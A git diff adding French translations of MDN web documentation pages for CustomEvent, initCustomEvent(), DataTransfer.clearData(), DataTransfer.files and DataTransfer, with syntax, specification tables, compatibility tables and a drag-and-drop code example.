+ <dd><span id="result_box" lang="fr"><span>Initialise un objet CustomEvent.</span> <span>Si l'événement a déjà été distribué, cette méthode ne fait rien.</span></span></dd>
+</dl>
+
+<p>Cette interface hérite les méthodes de son parent {{domxref("Event")}}:</p>
+
+<p>{{Page("/fr/docs/Web/API/Event", "Méthodes")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CustomEvent")}}</p>
+
+<div id="compat-desktop">
+<h2 id="Déclenchement_à_partir_de_code_privilégié_vers_du_code_non-privilégié">Déclenchement à partir de code privilégié vers du code non-privilégié</h2>
+</div>
+
+<p>Lors du déclenchement d'un CustomEvent depuis du code privilégié (une extension, par exemple) vers du code non-privilégié (une page web par exemple), vous devez prendre en considération la sécurité. Firefox et les autres applications Gecko empêchent qu'un objet créé dans un contexte soit utilisé dans un autre, ce qui empêchera généralement les failles de sécurité, mais ces restrictions peuvent aussi empêcher votre code de s'executer comme prévu.</p>
+
+<p>Lors de la création d'un objet CustomEvent, vous devez créer l'objet à partir de la même <a href="https://developer.mozilla.org/fr/docs/Mozilla/Tech/XUL/window">fenêtre</a> que celle où vous déclencherez l'évenement.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// doc est une référence au contenu du document</span>
+<span class="keyword token">function</span> <span class="function token">dispatchCustomEvent</span><span class="punctuation token">(</span>doc<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> eventDetail <span class="operator token">=</span> Components<span class="punctuation token">.</span>utils<span class="punctuation token">.</span><span class="function token">cloneInto</span><span class="punctuation token">(</span><span class="punctuation token">{</span>foo<span class="punctuation token">:</span> <span class="string token">'bar'</span><span class="punctuation token">}</span><span class="punctuation token">,</span> doc<span class="punctuation token">.</span>defaultView<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> myEvent <span class="operator token">=</span> doc<span class="punctuation token">.</span>defaultView<span class="punctuation token">.</span><span class="function token">CustomEvent</span><span class="punctuation token">(</span><span class="string token">"mytype"</span><span class="punctuation token">,</span> eventDetail<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  doc<span class="punctuation token">.</span><span class="function token">dispatchEvent</span><span class="punctuation token">(</span>myEvent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Notez qu'exposer une fonction permettra au script de l'exécuter avec les privilèges qu'accorde Chrome ce qui peut ouvrir une faille de sécurité.</p>
+
+<h2 id="Specification" name="Specification">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Extraits_de_code/Interaction_entre_des_pages_%C3%A0_privil%C3%A8ges_et_sans_privil%C3%A8ges" title="/fr/docs/Extraits_de_code/Interaction_entre_des_pages_%C3%A0_privil%C3%A8ges_et_sans_privil%C3%A8ges">Interaction entre pages privilégiées et non-privilégiées</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Window/postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'événements</a></li>
+</ul>
diff --git a/files/fr/web/api/customevent/initcustomevent/index.html b/files/fr/web/api/customevent/initcustomevent/index.html
new file mode 100644
index 0000000000..4a1896eb5f
--- /dev/null
+++ b/files/fr/web/api/customevent/initcustomevent/index.html
@@ -0,0 +1,70 @@
+---
+title: CustomEvent.initCustomEvent()
+slug: Web/API/CustomEvent/initCustomEvent
+tags:
+  - API
+  - DOM
+  - Méthodes
+translation_of: Web/API/CustomEvent/initCustomEvent
+---
+<p>{{APIRef("DOM")}}{{deprecated_header}}</p>
+
+<p>La méthode <code><strong>CustomEvent.initCustomEvent()</strong></code> initialise un objet <code>CustomEvent</code>. Si l'évènement a déjà été distribué, cette méthode ne change rien.</p>
+
+<p>Les évènements initialisés par ce moyen doivent être créés avec la méthode {{domxref("Document.createEvent()")}}. Cette méthode doit être appelée pour définir l'évènement avant son envoi en utilisant {{domxref("EventTarget.dispatchEvent()") }}. Une fois l'évènement envoyé, la méthode ne fait rien.</p>
+
+<div class="note">
+<p><strong>N'utilisez plus cette méthode car elle est dépréciée.</strong></p>
+
+<p>À la place, utilisez les constructeurs d'évènements spécifiques comme {{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}. La page <a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'évènements</a> donne plus d'informations sur la façon de les utiliser.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>event</em>.initCustomEvent(<em>type</em>, <em>canBubble</em>, <em>cancelable</em>, <em>detail</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><em>type</em></code></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le nom de l'évènement.</dd>
+ <dt><em><code>canBubble</code></em></dt>
+ <dd>est un {{jsxref("Boolean")}} (<em>booléen</em>) indiquant si l'événement passe à travers le DOM ou non.</dd>
+ <dt><code><em>cancelable</em></code></dt>
+ <dd>est un {{jsxref("Boolean")}} indiquant si l'événement est annulable.</dd>
+ <dt><em><code>deta</code></em><em><code>il</code></em></dt>
+ <dd>Les données transmises lors de l'initialisation de l'évènement.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-customevent-initcustomevent','CustomEvent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale, mais déjà dépréciée au profit de l'utilisation d'un constructeur,{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CustomEvent.initCustomEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>Le constructeur à utiliser à la place de cette méthode obsolète : {{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/datatransfer/cleardata/index.html b/files/fr/web/api/datatransfer/cleardata/index.html
new file mode 100644
index 0000000000..c4a9541127
--- /dev/null
+++ b/files/fr/web/api/datatransfer/cleardata/index.html
@@ -0,0 +1,233 @@
+---
+title: DataTransfer.clearData()
+slug: Web/API/DataTransfer/clearData
+tags:
+  - API
+  - HTML DOM
+  - Method
+  - Reference
+  - drag and drop
+translation_of: Web/API/DataTransfer/clearData
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>La méthode DataTransfer.clearData() retire l'opération de {{domxref("DataTransfer","glisser-déposer")}} pour le format donné. Si la donnée pour le format ciblé n'existe pas, cette méthode n'aura aucun effet.</p>
+
+<p class="note">Si cette méthode est appelée sans argument, ou que le format donné est une  {{domxref("DOMString","chaîne de caractères")}}  vide, les données de tous les formats seront retirées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>dataTransfer</var>.clearData([format]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>format{{optional_inline}}</dt>
+ <dd>Une {{domxref("DOMString","chaîne de caractères")}} représentant le format de donnée à retirer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Void.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cette exemple illustre l'utilisation des méthodes {{domxref("DataTransfer.getData()","getData()")}}, {{domxref("DataTransfer.setData()","setData()")}} et {{domxref("DataTransfer.clearData()","clearData()")}} de l'objet {{domxref("DataTransfer")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html">&lt;span class="tweaked" id="source" draggable="true"&gt;
+  Sélectionnez cet élément, glissez-le et déposez-le dans la Zone de Dépose pour le déplacer.
+&lt;/span&gt;
+&lt;span class="tweaked" id="target"&gt;Zone de Dépose&lt;/span&gt;
+&lt;div&gt;Status: &lt;span id="status"&gt;Glissez pour démarrer&lt;/span&gt;&lt;/div&gt;
+&lt;div&gt;Data is: &lt;span id="data"&gt;non initialisé&lt;/span&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css">span.tweaked {
+  display: inline-block;
+  margin: 1em 0;
+  padding: 1em 2em;
+}
+
+#source {
+  color: blue;
+  border: 1px solid black;
+}
+
+#target {
+  border: 1px solid black;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">window.addEventListener('DOMContentLoaded', function () {
+  // Séléctionner les éléments HTML
+  var draggable = document.getElementById('source')
+  var dropable = document.getElementById('target')
+  var status = document.getElementById('status')
+  var data = document.getElementById('data')
+  var dropped = false
+
+  // Enregistrer les évènements
+  draggable.addEventListener('dragstart', dragStartHandler)
+  draggable.addEventListener('dragend', dragEndHandler)
+  dropable.addEventListener('dragover', dragOverHandler)
+  dropable.addEventListener('dragleave', dragLeaveHandler)
+  dropable.addEventListener('drop', dropHandler)
+
+  function dragStartHandler (event) {
+    status.innerHTML = 'Glisse en cours'
+
+    // Modifier la bordure de l'élément pour indiquer qu'une opération de glisse a démarré
+    event.currentTarget.style.border = '1px dashed blue'
+
+    // Définir le type et la donnée associée à l'opération de glisse (utilise l'ID de la cible de l'évènement pour la donnée)
+    event.dataTransfer.setData('text/plain', event.target.id)
+
+    data.innerHTML = event.dataTransfer.getData('text/plain')
+  }
+
+  function dragEndHandler (event) {
+    if (!dropped) {
+      status.innerHTML = 'Glisse annulée'
+    }
+
+    data.innerHTML = event.dataTransfer.getData('text/plain') || 'vide'
+
+    // Modifier la bordure de l'élément pour indiquer que l'opération de glisse n'est plus en cours
+    event.currentTarget.style.border = '1px solid black'
+
+    if (dropped) {
+      // Retirer tous les évènements enregistrés précédemment
+      draggable.removeEventListener('dragstart', dragStartHandler)
+      draggable.removeEventListener('dragend', dragEndHandler)
+      dropable.removeEventListener('dragover', dragOverHandler)
+      dropable.removeEventListener('dragleave', dragLeaveHandler)
+      dropable.removeEventListener('drop', dropHandler)
+    }
+  }
+
+  function dragOverHandler (event) {
+    status.innerHTML = 'Dépose disponible'
+
+    event.preventDefault()
+  }
+
+  function dragLeaveHandler (event) {
+    status.innerHTML = 'Glisse en cours (la dépose était disponible)'
+
+    event.preventDefault()
+  }
+
+  function dropHandler (event) {
+    dropped = true
+
+    status.innerHTML = 'Dépose effectuée'
+
+    event.preventDefault()
+
+    // Récupérer la donnée liée au type « text/plain »
+    var _data = event.dataTransfer.getData('text/plain')
+    var element = document.getElementById(_data)
+
+    // Insérer l'élément source de l'opération de glisse en tant que dernier enfant de l'élément cible de l'opération de dépose
+    event.target.appendChild(element)
+
+    // Modifier les styles CSS et le texte affiché
+    element.style.cssText = 'border: 1px solid black;display: block; color: red'
+    element.innerHTML = "J'suis dans la Zone de Dépose !"
+
+    // Effacer les données de TOUS les types liés à l'opération de glisse (car on n'a pas donné de paramètre)
+    event.dataTransfer.clearData()
+  }
+})
+</pre>
+
+<p>{{EmbedLiveSample('Exemple', 300, 250)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="À_voir_également">À voir également</h2>
+
+<p>{{page("/fr/docs/Web/API/DataTransfer", "See also")}}</p>
diff --git a/files/fr/web/api/datatransfer/files/index.html b/files/fr/web/api/datatransfer/files/index.html
new file mode 100644
index 0000000000..a981e22a13
--- /dev/null
+++ b/files/fr/web/api/datatransfer/files/index.html
@@ -0,0 +1,116 @@
+---
+title: DataTransfer.files
+slug: Web/API/DataTransfer/files
+tags:
+  - API
+  - Glisser Déposer
+  - HTML DOM
+  - Propriété
+  - References
+translation_of: Web/API/DataTransfer/files
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>La propriété <strong><code>DataTransfer.files</code></strong> est une  {{domxref("FileList","liste de fichier")}} issue d'une manipulation de glisser-déposer. Si l'opération n'inclut pas de fichier, alors la liste est vide.</p>
+
+<p>Cette fonctionnalité peut être utilisée pour glisser des fichiers du bureau utilisateur au navigateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataTransfer</var>.files;
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{domxref("FileList","liste")}} de fichiers associés au "glisser", un élément de liste pour chaque fichier dans l'opération. Si l'opération de "glisser" ne contient aucun fichier alors la liste est vide.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voici deux exemples :</p>
+
+<ul>
+ <li>Seulement Firefox : <a class="external" href="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></li>
+ <li>Tous les navigateurs : <a class="external" href="https://jsbin.com/hiqasek/edit?html,js,output">https://jsbin.com/hiqasek/</a></li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-files", "files")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dom-datatransfer-files", "files")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/datatransfer/index.html b/files/fr/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..025c439831
--- /dev/null
+++ b/files/fr/web/api/datatransfer/index.html
@@ -0,0 +1,370 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+tags:
+  - API
+  - Glisser-deposer
+translation_of: Web/API/DataTransfer
+---
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">L'objet</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">DataTransfer</span></code> contient les <span class="hps" title="Cliquer ici pour voir d'autres traductions">données glissées</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">au cours d'une</span> <span class="atn hps" title="Cliquer ici pour voir d'autres traductions">opération de glisser-</span><span title="Cliquer ici pour voir d'autres traductions">déposer.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Il peut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">contenir un ou plusieurs</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">éléments</span><span class="atn" title="Cliquer ici pour voir d'autres traductions">, du même type ou de types différents</span><span class="hps" title="Cliquer ici pour voir d'autres traductions">.</span> <span class="atn hps" title="Cliquer ici pour voir d'autres traductions">Pour plus d'</span><span title="Cliquer ici pour voir d'autres traductions">informations sur</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le glisser-déposer</span><span title="Cliquer ici pour voir d'autres traductions">, voir</span></span> <a class="internal" href="/fr/docs/Glisser_et_d%C3%A9poser" title="En/DragDrop/Drag and Drop">Glisser et déposer</a>.</p>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cet objet est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">disponible depuis la propriété</span> <code>dataTransfer</code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de tous les événements de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">glisser</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Il</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ne peut pas être</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">créé</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">séparément.</span></span></p>
+
+<h2 id="Properties" name="Properties">Aperçu des proprietés</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propriété</td>
+   <td class="header">Type</td>
+  </tr>
+  <tr>
+   <td><code><a href="/En/DragDrop/DataTransfer#dropEffect" title="En/DragDrop/DataTransfer#dropEffect">dropEffect</a></code></td>
+   <td><code><a href="/en/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/En/DragDrop/DataTransfer#effectAllowed" title="En/DragDrop/DataTransfer#effectAllowed">effectAllowed</a></code></td>
+   <td><code><a href="/en/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><a href="/En/DragDrop/DataTransfer#files" title="En/DragDrop/DataTransfer#files"><code>files</code></a></td>
+   <td>{{ domxref("FileList") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/En/DragDrop/DataTransfer#mozCursor" title="En/DragDrop/DataTransfer#mozCursor">mozCursor</a></code> {{ non-standard_inline() }}</td>
+   <td><code><a href="/en/String" title="en/String">String</a></code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/En/DragDrop/DataTransfer#mozItemCount" title="En/DragDrop/DataTransfer#mozItemCount">mozItemCount</a></code> {{ non-standard_inline() }}</td>
+   <td><code>unsigned long</code></td>
+  </tr>
+  <tr>
+   <td><a href="/En/DragDrop/DataTransfer#mozSourceNode" title="En/DragDrop/DataTransfer#mozSourceNode"><code>mozSourceNode</code></a> {{ non-standard_inline() }}</td>
+   <td>{{ domxref("Node") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/En/DragDrop/DataTransfer#mozUserCancelled" title="En/DragDrop/DataTransfer#mozUserCancelled"><code>mozUserCancelled</code></a></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/Core JavaScript 1.5 Reference/Global Objects/Boolean"><code>Boolean</code></a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/En/DragDrop/DataTransfer#types" title="En/DragDrop/DataTransfer#types">types</a></code></td>
+   <td><code><a href="/en/DOMStringList" title="en/DOMStringList">StringList</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Method_overview" name="Method_overview">Aperçu des méthodes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addElement.28.29">addElement</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">Element</a> image)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#clearData.28.29">clearData</a>([in <a href="/en/String" title="en/String">String</a> type])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/String" title="en/String">String</a> <a href="#getData.28.29">getData</a>(in <a href="/en/String" title="en/String">String</a> type)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setData.28.29">setData</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/String" title="en/String">String</a> data)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setDragImage.28.29">setDragImage</a>(in <a href="/en/XPCOM_Interface_Reference/nsIDOMElement" title="en/nsIDOMElement">nsIDOMElement</a> image, in long x, in long y)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozClearDataAt.28.29">mozClearDataAt</a>([in <a href="/en/String" title="en/String">String</a> type, in unsigned long index])</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> <a href="#mozGetDataAt.28.29">mozGetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#mozSetDataAt.28.29">mozSetDataAt</a>(in <a href="/en/String" title="en/String">String</a> type, in <a href="/en/XPCOM_Interface_Reference/NsIVariant" title="en/nsIVariant">nsIVariant</a> data, in unsigned long index)</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/StringList" title="en/StringList">StringList</a> <a href="#mozTypesAt.28.29">mozTypesAt</a>([in unsigned long index])</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<h3 id="dropEffect.28.29" name="dropEffect.28.29">dropEffect</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">L'effet</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> utilisé, qui</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> doit toujours être</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'une des</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">valeurs possibles de </span></span><code>effectAllowed</code>.</p>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Pour</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les événements</span> <code>d</code><span class="hps" title="Cliquer ici pour voir d'autres traductions"><code>ragenter</code> et</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dragover</span></code><span title="Cliquer ici pour voir d'autres traductions">, la propriété </span><code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dropEffect</span></code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">initialisée en fonction des</span> <span class="atn hps" title="Cliquer ici pour voir d'autres traductions">actions initiées par l'</span><span title="Cliquer ici pour voir d'autres traductions">utilisateur</span><span title="Cliquer ici pour voir d'autres traductions">.</span> Ceci<span class="hps" title="Cliquer ici pour voir d'autres traductions"> est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifique à la plateforme</span><span title="Cliquer ici pour voir d'autres traductions">, mais en général</span><span title="Cliquer ici pour voir d'autres traductions">, l'utilisateur peut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">appuyer sur</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les touches de modification</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour ajuster</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'action </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">souhaitée.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Dans</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un gestionnaire d'événement</span> <code>d</code><span class="hps" title="Cliquer ici pour voir d'autres traductions"><code>ragenter</code> et</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dragover</span></code><span title="Cliquer ici pour voir d'autres traductions">, la propriété</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dropEffect</span></code> peut être modifiée <span class="hps" title="Cliquer ici pour voir d'autres traductions">si l'action</span> <span class="atn hps" title="Cliquer ici pour voir d'autres traductions">de l'</span><span title="Cliquer ici pour voir d'autres traductions">utilisateur demandée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'est pas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">celle </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">souhaitée.</span></span></p>
+
+<p>Pour les évènements <code>dragstart</code>, <code>drag</code>, and <code>dragleave</code> events, <code>dropEffect</code> est initialisé à "none". Toute valeur peut être assignée à <code>dropEffect</code>, mais elle sera ignorée.</p>
+
+<p>Pour les évènements <code>drop</code> et <code>dragend</code> , <code>dropEffect</code> <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">est initialisé</span> en fonction de l'action initiée, et correspond à la dernière valeur de <code>dropEffect</code> après le dernier<span class="hps" title="Cliquer ici pour voir d'autres traductions"> événement</span> <code>dragenter</code> ou <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dragover</span></code><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<p>Valeurs possibles:</p>
+
+<ul>
+ <li><strong>copy</strong>: <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Une copie de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'élément source</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est faite</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">au nouvel emplacement</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></li>
+ <li><strong>move</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">élément est déplacé vers</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un nouvel emplacement.</span></span></li>
+ <li><strong>link</strong>: <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Un lien est établi</span> depuis<span class="hps" title="Cliquer ici pour voir d'autres traductions"> la source</span> vers le<span class="hps" title="Cliquer ici pour voir d'autres traductions"> nouvel emplacement</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></li>
+ <li><strong>none</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">L'élément ne peut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pas être déposé</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></li>
+</ul>
+
